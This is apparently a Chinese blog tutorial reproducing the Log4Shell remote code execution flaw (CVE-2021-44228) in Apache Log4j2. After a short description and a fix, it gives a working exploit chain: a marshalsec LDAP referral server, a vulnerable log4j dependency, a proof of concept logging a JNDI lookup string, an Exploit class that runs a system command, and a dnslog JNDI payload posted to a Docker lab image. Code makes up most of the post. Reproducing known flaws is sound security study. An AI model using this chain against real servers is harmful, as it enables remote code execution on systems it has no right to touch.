Log4j远程代码执行漏洞复现

AI-摘要
切换
wojue GPT
AI初始化中...
介绍自己
生成简介
相关文章
前往主页
前往爱发电购买
Log4j远程代码执行漏洞复现
wojue漏洞简介
- 漏洞编号:CVE-2021-44228
- 漏洞级别:0day
- Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
- 漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。
- 修复方法:升级Apache Log4j2所有相关应用到 >=log4j-2.15.0-rc2 版本
漏洞原理
- 当log4j打印的日志内容中包含
${jndi:ldap://ip}
时,服务端程序就会通过ldap协议访问ip这个地址,若访问的是一个包含java代码的class文件的地址,程序会通过此地址下载class文件并在服务端主机执行class文件中的任何命令。
环境搭建
服务端
LDAP,轻型目录访问协议,是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。是一个访问在线目录服务的协议。可使用marshalsec开启LDAP服务,具体操作为
1.下载marshalsec后进入文件夹编译
mvn clean package -DskipTests
2.然后进入target目录启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
客户端
创建Maven项目,并将以下配置文件加入pom.xml中:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>÷
</dependency>
</dependencies>创建LogTest.java,即poc,用于测试客户端。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:1389/Exploit}");
}
}创建Exploit.java,并使用java c命令在本目录生成Exploit.class,当访问通过jndi访问localhost:1389/Exploit时服务端会执行此文件。
public class Exploit {
static {
System.err.println("Pwned");
try {
String terminal = "open -a Calculator";
//定义在服务端要执行的命令,本条执行效果为打开计算器。Windows命令为"calc"
Runtime.getRuntime().exec(terminal);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
运行结果
截图:
至此已成功复现此远程执行代码漏洞。
漏洞镜像
-
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 启动后访问
http://ip:8080/webstudy/
,post传参c=${jndi:ldap://xxx.dnslog.cn/exp}
,即可在dnslog上看到结果。